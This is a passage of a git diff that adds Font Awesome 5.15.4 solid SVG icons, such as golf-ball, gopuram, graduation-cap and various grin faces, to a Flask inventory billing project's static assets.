129.4-73.7 158-141.6h-108c-8.8 56.9-25.6 107.8-50 141.6zM19.3 352c28.6 67.9 86.5 120.4 158 141.6-24.4-33.8-41.2-84.7-50-141.6h-108z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/golf-ball.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/golf-ball.svg new file mode 100644 index 00000000..200255f0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/golf-ball.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 416 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M96 416h224c0 17.7-14.3 32-32 32h-16c-17.7 0-32 14.3-32 32v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-20c0-17.7-14.3-32-32-32h-16c-17.7 0-32-14.3-32-32zm320-208c0 74.2-39 139.2-97.5 176h-221C39 347.2 0 282.2 0 208 0 93.1 93.1 0 208 0s208 93.1 208 208zm-180.1 43.9c18.3 0 33.1-14.8 33.1-33.1 0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1zm49.1 46.9c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1zm64-64c0-14.4-9.3-26.3-22.1-30.9 9.6 26.8-15.6 51.3-41.9 41.9 4.6 12.8 16.5 22.1 30.9 22.1 18.3 0 33.1-14.9 33.1-33.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gopuram.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gopuram.svg new file mode 100644 index 00000000..8611860f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/gopuram.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M496 352h-16V240c0-8.8-7.2-16-16-16h-16v-80c0-8.8-7.2-16-16-16h-16V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16s-16 7.2-16 16v16h-64V16c0-8.8-7.2-16-16-16S96 7.2 96 16v112H80c-8.8 0-16 7.2-16 16v80H48c-8.8 0-16 7.2-16 16v112H16c-8.8 0-16 7.2-16 16v128c0 8.8 7.2 16 16 16h80V352h32V224h32v-96h32v96h-32v128h-32v160h80v-80c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16v80h80V352h-32V224h-32v-96h32v96h32v128h32v160h80c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16zM232 176c0-8.8 7.2-16 16-16h16c8.8 0 16 7.2 16 16v48h-48zm56 176h-64v-64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/graduation-cap.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/graduation-cap.svg new file mode 100644 index 00000000..ebf91651 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/graduation-cap.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M622.34 153.2L343.4 67.5c-15.2-4.67-31.6-4.67-46.79 0L17.66 153.2c-23.54 7.23-23.54 38.36 0 45.59l48.63 14.94c-10.67 13.19-17.23 29.28-17.88 46.9C38.78 266.15 32 276.11 32 288c0 10.78 5.68 19.85 13.86 25.65L20.33 428.53C18.11 438.52 25.71 448 35.94 448h56.11c10.24 0 17.84-9.48 15.62-19.47L82.14 313.65C90.32 307.85 96 298.78 96 288c0-11.57-6.47-21.25-15.66-26.87.76-15.02 8.44-28.3 20.69-36.72L296.6 284.5c9.06 2.78 26.44 6.25 46.79 0l278.95-85.7c23.55-7.24 23.55-38.36 0-45.6zM352.79 315.09c-28.53 8.76-52.84 3.92-65.59 0l-145.02-44.55L128 384c0 35.35 85.96 64 192 64s192-28.65 192-64l-14.18-113.47-145.03 44.56z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/greater-than-equal.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/greater-than-equal.svg new file mode 100644 index 00000000..6b3f859d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/greater-than-equal.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M55.22 107.69l175.56 68.09-175.44 68.05c-18.39 6.03-27.88 24.39-21.2 41l12.09 30.08c6.68 16.61 26.99 25.19 45.38 19.15L393.02 214.2c13.77-4.52 22.98-16.61 22.98-30.17v-15.96c0-13.56-9.21-25.65-22.98-30.17L91.3 17.92c-18.29-6-38.51 2.53-45.15 19.06L34.12 66.9c-6.64 16.53 2.81 34.79 21.1 40.79zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/greater-than.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/greater-than.svg new file mode 100644 index 00000000..48964a17 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/greater-than.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M365.52 209.85L59.22 67.01c-16.06-7.49-35.15-.54-42.64 15.52L3.01 111.61c-7.49 16.06-.54 35.15 15.52 42.64L236.96 256.1 18.49 357.99C2.47 365.46-4.46 384.5 3.01 400.52l13.52 29C24 445.54 43.04 452.47 59.06 445l306.47-142.91a32.003 32.003 0 0 0 18.48-29v-34.23c-.01-12.45-7.21-23.76-18.49-29.01z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grimace.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grimace.svg new file mode 100644 index 00000000..4cfb3537 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grimace.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM144 400h-8c-17.7 0-32-14.3-32-32v-8h40v40zm0-56h-40v-8c0-17.7 14.3-32 32-32h8v40zm-8-136c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm72 192h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm64 56h-48v-40h48v40zm0-56h-48v-40h48v40zm-8-104c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64 128c0 17.7-14.3 32-32 32h-8v-40h40v8zm0-24h-40v-40h8c17.7 0 32 14.3 32 32v8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-alt.svg new file mode 100644 index 00000000..d5e3867e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm63.7 128.7c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zm-160 0c7.6-11.4 24.7-11.7 32.7 0 12.4 18.4 15.1 36.9 15.7 55.3-.5 18.4-3.3 36.9-15.7 55.3-7.6 11.4-24.7 11.7-32.7 0-12.4-18.4-15.1-36.9-15.7-55.3.5-18.4 3.3-36.9 15.7-55.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-beam-sweat.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-beam-sweat.svg new file mode 100644 index 00000000..5b026e72 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-beam-sweat.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 504 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M456 128c26.5 0 48-21 48-47 0-20-28.5-60.4-41.6-77.8-3.2-4.3-9.6-4.3-12.8 0C436.5 20.6 408 61 408 81c0 26 21.5 47 48 47zm0 32c-44.1 0-80-35.4-80-79 0-4.4.3-14.2 8.1-32.2C345 23.1 298.3 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-35.1-7.4-68.4-20.5-98.6-6.3 1.5-12.7 2.6-19.5 2.6zm-128-8c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-beam.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-beam.svg new file mode 100644 index 00000000..725f8b53 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-beam.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 144c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-hearts.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-hearts.svg new file mode 100644 index 00000000..445c69c0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-hearts.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM90.4 183.6c6.7-17.6 26.7-26.7 44.9-21.9l7.1 1.9 2-7.1c5-18.1 22.8-30.9 41.5-27.9 21.4 3.4 34.4 24.2 28.8 44.5L195.3 243c-1.2 4.5-5.9 7.2-10.5 6l-70.2-18.2c-20.4-5.4-31.9-27-24.2-47.2zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm133.4-201.3l-70.2 18.2c-4.5 1.2-9.2-1.5-10.5-6L281.3 173c-5.6-20.3 7.4-41.1 28.8-44.5 18.6-3 36.4 9.8 41.5 27.9l2 7.1 7.1-1.9c18.2-4.7 38.2 4.3 44.9 21.9 7.7 20.3-3.8 41.9-24.2 47.2z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-squint-tears.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-squint-tears.svg new file mode 100644 index 00000000..cbc1ac64 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-squint-tears.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M409.6 111.9c22.6-3.2 73.5-12 88.3-26.8 19.2-19.2 18.9-50.6-.7-70.2S446-5 426.9 14.2c-14.8 14.8-23.5 65.7-26.8 88.3-.8 5.5 3.9 10.2 9.5 9.4zM102.4 400.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm311.7-256.5c-33 3.9-48.6-25.1-45.7-45.7 3.4-24 7.4-42.1 11.5-56.5C285.1-13.4 161.8-.5 80.6 80.6-.5 161.7-13.4 285 41.4 379.9c14.4-4.1 32.4-8 56.5-11.5 33.2-3.9 48.6 25.2 45.7 45.7-3.4 24-7.4 42.1-11.5 56.5 94.8 54.8 218.1 41.9 299.3-39.2s94-204.4 39.2-299.3c-14.4 4.1-32.5 8-56.5 11.5zM255.7 106c3.3-13.2 22.4-11.5 23.6 1.8l4.8 52.3 52.3 4.8c13.4 1.2 14.9 20.3 1.8 23.6l-90.5 22.6c-8.9 2.2-16.7-5.9-14.5-14.5l22.5-90.6zm-90.9 230.3L160 284l-52.3-4.8c-13.4-1.2-14.9-20.3-1.8-23.6l90.5-22.6c8.8-2.2 16.7 5.8 14.5 14.5L188.3 338c-3.1 13.2-22.2 11.7-23.5-1.7zm215.7 44.2c-29.3 29.3-75.7 50.4-116.7 50.4-18.9 0-36.6-4.5-51-14.7-9.8-6.9-8.7-21.8 2-27.2 28.3-14.6 63.9-42.4 97.8-76.3s61.7-69.6 76.3-97.8c5.4-10.5 20.2-11.9 27.3-2 32.3 45.3 7.1 124.7-35.7 167.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-squint.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-squint.svg new file mode 100644 index 00000000..9cd04bb9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-squint.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.9 9.4-21.6 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.2 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-stars.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-stars.svg new file mode 100644 index 00000000..1256e466 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-stars.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM94.6 168.9l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.2 1 8.9 8.6 4.3 13.2l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L152 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.6-4.7-1.9-12.3 4.3-13.3zM248 432c-60.6 0-134.5-38.3-143.8-93.3-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3zm157.7-249.9l-25.4 24.6 6 34.9c1 6.2-5.3 11-11 7.9L344 233.3l-31.3 16.3c-5.7 3.1-12-1.7-11-7.9l6-34.9-25.4-24.6c-4.5-4.6-1.9-12.2 4.3-13.2l34.9-5 15.5-31.6c2.9-5.8 11-5.8 13.9 0l15.5 31.6 34.9 5c6.3.9 9 8.5 4.4 13.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tears.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tears.svg new file mode 100644 index 00000000..8547b7e5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tears.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M102.4 256.1c-22.6 3.2-73.5 12-88.3 26.8-19.1 19.1-18.8 50.6.8 70.2s51 19.9 70.2.7c14.8-14.8 23.5-65.7 26.8-88.3.8-5.5-3.9-10.2-9.5-9.4zm523.4 26.8c-14.8-14.8-65.7-23.5-88.3-26.8-5.5-.8-10.3 3.9-9.5 9.5 3.2 22.6 12 73.5 26.8 88.3 19.2 19.2 50.6 18.9 70.2-.7s20-51.2.8-70.3zm-129.4-12.8c-3.8-26.6 19.1-49.5 45.7-45.7 8.9 1.3 16.8 2.7 24.3 4.1C552.7 104.5 447.7 8 320 8S87.3 104.5 73.6 228.5c7.5-1.4 15.4-2.8 24.3-4.1 33.2-3.9 48.6 25.3 45.7 45.7-11.8 82.3-29.9 100.4-35.8 106.4-.9.9-2 1.6-3 2.5 42.7 74.6 123 125 215.2 125s172.5-50.4 215.2-125.1c-1-.9-2.1-1.5-3-2.5-5.9-5.9-24-24-35.8-106.3zM400 152c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm-160 0c23.8 0 52.7 29.3 56 71.4.7 8.6-10.8 12-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.1-42.1 32-71.4 55.8-71.4zm80 280c-60.6 0-134.5-38.3-143.8-93.3-2-11.7 9.2-21.6 20.7-17.9C227.1 330.5 272 336 320 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-9.3 55-83.2 93.3-143.8 93.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tongue-squint.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tongue-squint.svg new file mode 100644 index 00000000..25a09c5b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tongue-squint.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M293.1 374.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.2-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-33.8 210.3l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.7 4.7 7.7 15.9 0 20.6zm163 30c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.8-4.7-7.8-15.9 0-20.6l80-48c11.7-6.9 23.9 7.7 15.4 18L343.6 208l33.6 40.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tongue-wink.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tongue-wink.svg new file mode 100644 index 00000000..dc7cc40e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tongue-wink.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M344 184c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.5-3.7 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-56 225l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L112 233c-8.5 7.4-21.6.3-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c1.6 11.1-11.6 18.2-20 10.8zm152 39c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm-50.9 102.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tongue.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tongue.svg new file mode 100644 index 00000000..4c73cfee --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-tongue.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256c0 106.3 67 196.7 161 232-5.6-12.2-9-25.7-9-40v-45.5c-24.7-16.2-43.5-38.1-47.8-63.8-2-11.8 9.3-21.5 20.7-17.9C155.1 330.5 200 336 248 336s92.9-5.5 123.1-15.2c11.4-3.6 22.6 6.1 20.7 17.9-4.3 25.7-23.1 47.6-47.8 63.8V448c0 14.3-3.4 27.8-9 40 94-35.3 161-125.7 161-232C496 119 385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm160 0c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-34.9 134.6c-14.4-6.5-31.1 2.2-34.6 17.6l-1.8 7.8c-2.1 9.2-15.2 9.2-17.3 0l-1.8-7.8c-3.5-15.4-20.2-24.1-34.6-17.6-.9.4.3-.2-18.9 9.4v63c0 35.2 28 64.5 63.1 64.9 35.7.5 64.9-28.4 64.9-64v-64c-19.5-9.6-18.2-8.9-19-9.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-wink.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-wink.svg new file mode 100644 index 00000000..ce97debc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/grin-wink.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome 